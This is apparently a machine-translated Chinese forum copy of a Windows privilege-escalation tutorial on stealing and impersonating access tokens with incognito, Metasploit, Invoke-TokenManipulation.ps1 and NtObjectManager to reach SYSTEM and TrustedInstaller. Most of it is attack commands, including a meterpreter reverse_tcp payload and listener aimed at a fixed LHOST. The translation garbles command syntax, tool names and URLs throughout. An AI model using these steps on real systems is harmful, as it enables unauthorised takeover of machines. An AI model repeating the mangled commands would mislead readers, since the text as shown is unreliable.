Tenfk 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降低功耗的方法,本质上是通过令牌窃取来实现的。这一次,我们将进一步介绍令牌窃取和利用,测试常用工具,并分享利用技巧。 0x01 简介 本文将介绍以下内容: Token简介 Metasploit中的匿名 Windows平台下的匿名 Invoke-TokenManipulation.ps1用法 使用令牌获取系统权限 使用token获取TrustedInstaller权限。 0x02 Token简介 Windows有两种类型的令牌: 委托令牌:用于交互式会话登录(例如,本地用户直接登录,远程桌面登录)。 模拟令牌:用于非交互式登录(使用net use访问共享文件夹) 注: 只有在系统重新启动后,两个令牌才会被清除。 具有委派令牌的用户注销后,该令牌将成为模拟令牌,仍然有效。 实际测试 使用Test\a登录,注销,然后使用管理员登录。 检查令牌: incognito.exe列表_令牌-u 您可以获取已注销用户Test\a的令牌,如下图所示 用这个令牌执行calc.exe: incognito.exe执行-c '测试\ a ' calc.exe 后台进程calc.exe的用户名是A,如下图所示。 0x03 Metasploit中的incognito 在Metasploit中,您可以使用匿名来窃取令牌。常见命令如下: 隐姓埋名:隐姓埋名 枚举令牌:list _ tokens-u 检查当前令牌:getuid 提示系统权限:getsystem 令牌窃取:impersonate _ token ' nt authority \ \ system ' 从进程中窃取:steal_token 1252 返回token之前:revi2self或drop _ token 实际测试 客户: msfpayload-p windows/meter preter/reverse _ TCP LHOST=192 . 168 . 81 . 142 LPORT=44444 X test.exe 服务器: 使用漏洞利用/多重/处理程序 设置有效负载窗口/meterpreter/reverse_tcp 设置LPORT 44444 设置LHOST 192.168.81.142 剥削 执行getsystem以获取系统权限。 pid 1252的权限是当前用户。执行steal_token 1252将权限切换到WIN-R7MM90ERBMD\a \ a。 如下图 执行impersonate _ token ' nt authority \ \ system '将权限切换到system。 注: 需要引号和双斜线,' NT AUTHORITY\\SYSTEM ' 执行rev2self返回之前的令牌,是WIN-R7MM90ERBMD\a 如下图 通过以上演示,通过令牌窃取成功实现了权限切换。 0x04 Windows平台下的incognito Metasploit中的Incognito是从windows平台下的incognito移植过来的。下面介绍一下windows平台下的隐姓埋名。 下载地址: https://labs . mwrinfosecurity . com/assets/blog files/incognito 2 . zip 参考手册: http://labs . mwrinfosecurity . com/assets/142/mwri _ security-implications-of-windows-access-tokens _ 2008-04-14 . pdf 常见用法如下: 枚举令牌:incognito.exe列表_令牌-u 复制令牌:incognito.exe执行[选项] 实际测试 枚举令牌: incognito.exe列表_令牌-u 如下图 系统权利: incognito.exe执行-c 'NT权限\系统' cmd.exe 如下图 当前用户的权限: incognito.exe执行-c ' WIN-r7mm 90 erbmd \ a ' cmd.exe 伪造用户: incognito.exe执行-c ' WIN-r7mm 90 erbmd \ b ' cmd.exe 如下图 0x05 Invoke-TokenManipulation.ps1用法 下载地址: https://github . com/powershell mafia/PowerSploit/blob/master/exfiliation/Invoke-token manipulation . PS1 原理和作用类似于隐姓埋名,实际上是可以升降权的。 枚举令牌:invoke-令牌操作-枚举 对系统的权限:invoke-token manipulation-createprocess ' cmd . exe '-username ' nt authority \ system ' 复制进程令牌:invoke-令牌操作-createprocess ' cmd . exe '-processid 500 复制线程令牌:invoke-令牌操作-createprocess ' cmd . exe '-threadid 500 更多用法请参考脚本描述 实物试验 0x06 利用token获得TrustedInstaller权限 在Windows系统中,即使您拥有管理员权限和系统权限,也不能修改系统文件。 因为Windows系统的最高权限是TrustedInstaller。 例如路径C:\Windows\servicing 您不能用系统权限在此路径创建文件。 如下图 查看文件夹属性,显示系统没有写权限,只有TrustedInstaller可以。 如下图 关于如何获得可信安装者权限,可参考詹姆斯福肖的这篇文章,很值得学习 泰拉尼斯莱尔街https://号。博格斯波特。nl/2017/08/最先进的可信安装程序。超文本标记语言 这里对其中的一个实例做测试,进而找到其他实现方法 启动可信安装者服务会启动进程TrustedInstaller.exe,位置为c:\ Windows \ servicing \ trusted installer。exe,查看该程序权限: get-Acl-Path C:\ Windows \ servicing \ trusted installer。exe |选择所有者 显示为西北地区(Northwest Territories)服务\TrustedInstaller如下图 詹姆斯福肖的实现思路为借用TrustedInstaller.exe的代币创建子进程,这样子进程就有了可信安装者权限,具体powershell代码如下: set-NtTokenPrivilege SeDebugPrivilege $ p=Get-nt进程名TrustedInstaller.exe $ proc=New-win32进程cmd . exe-创建标志新控制台-父进程$ p powershell默认不支持Set-NtTokenPrivilege命令,该模块需要下载安装 下载地址: https://www。powershell图库。com/packages/NtObjectManager/1。1 .一 安装命令: 保存模块名称NtObjectManager路径c:\test 安装模块名NtObjectManager 注: 保存模块需要powershell v5.0支持,详情见: https://docs.microsoft.com/zh-cn/powershell/gallery/readme 因此测试系统选为Win10,默认powershell版本为5.0 导入该模块需要系统允许执行powershell脚本,因此先执行如下代码: 集合执行策略无限制 导入模块NtObjectManager: 导入模块NtObjectManager 执行命令测试: sc.exe启动信任安装程序 set-NtTokenPrivilege SeDebugPrivilege $ p=Get-nt进程名TrustedInstaller.exe $ proc=New-win32进程cmd . exe-创建标志新控制台-父进程$ p 使用显示本用户信息查看当前煤矿管理局权限: whoami/组/fo列表 发现当前cmd.exe在可信安装者组里,成功获得可信安装者权限 如下图 接着按照詹姆斯福肖文章中更新的内容,学习了Vincent Yiu@vysecurity的方法,使用metasploit下的隐姓埋名地也能够获得可信安装者权限 地址如下: https://twitter.com/vysecurity/status/899303538630774787 思路如下: 启动服务可信安装者 使用隐姓埋名地获取TrustedInstaller.exe的代币 获得可信安装者权限 使用以下命令: 匿名装货 获取系统 著名图象处理软件 偷_令牌3204 getuid 按照这个思路,猜测使用选择我的父母和Invoke-TokenManipulation.ps1也能获得可信安装者权限 下面验证我们的判断 1、SelectMyParent 南卡罗来纳州启动可信安装程序 SelectMyParent.execmd.exe 1700 新的cmd.exe拥有可信安装者权限 2、Invoke-TokenManipulation.ps1 添加如下代码即可: sc.exe启动信任安装程序 $ id=Get-Process-name可信安装程序* | Select-Object id | ForEach-Object-Process { $ _ .id} invoke-token操作-CreateProcess ' cmd。' ProcessId $ id 注: 南卡罗来纳州这个命令不能直接在powershell里面运行,powershell会把它当作设置内容的别名,可使用sc.exe在powershell里面运行南卡罗来纳州命令 验证是否获得TrustedInstaller权限的方法 1、对特殊路径写文件 例如C:\Windows\servicing如下图 2、使用powershell get-Acl-Path C:\ Windows \ servicing \ trusted installer。exe |选择所有者 回显为西北地区(Northwest Territories)服务\可信安装程序 3、使用whoami whoami/groups | findstr可信安装程序 查看是否有回显 0x07 小结 本文介绍了代币窃取的实现方法,使用多种工具来获得系统权限和可信安装者权限。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子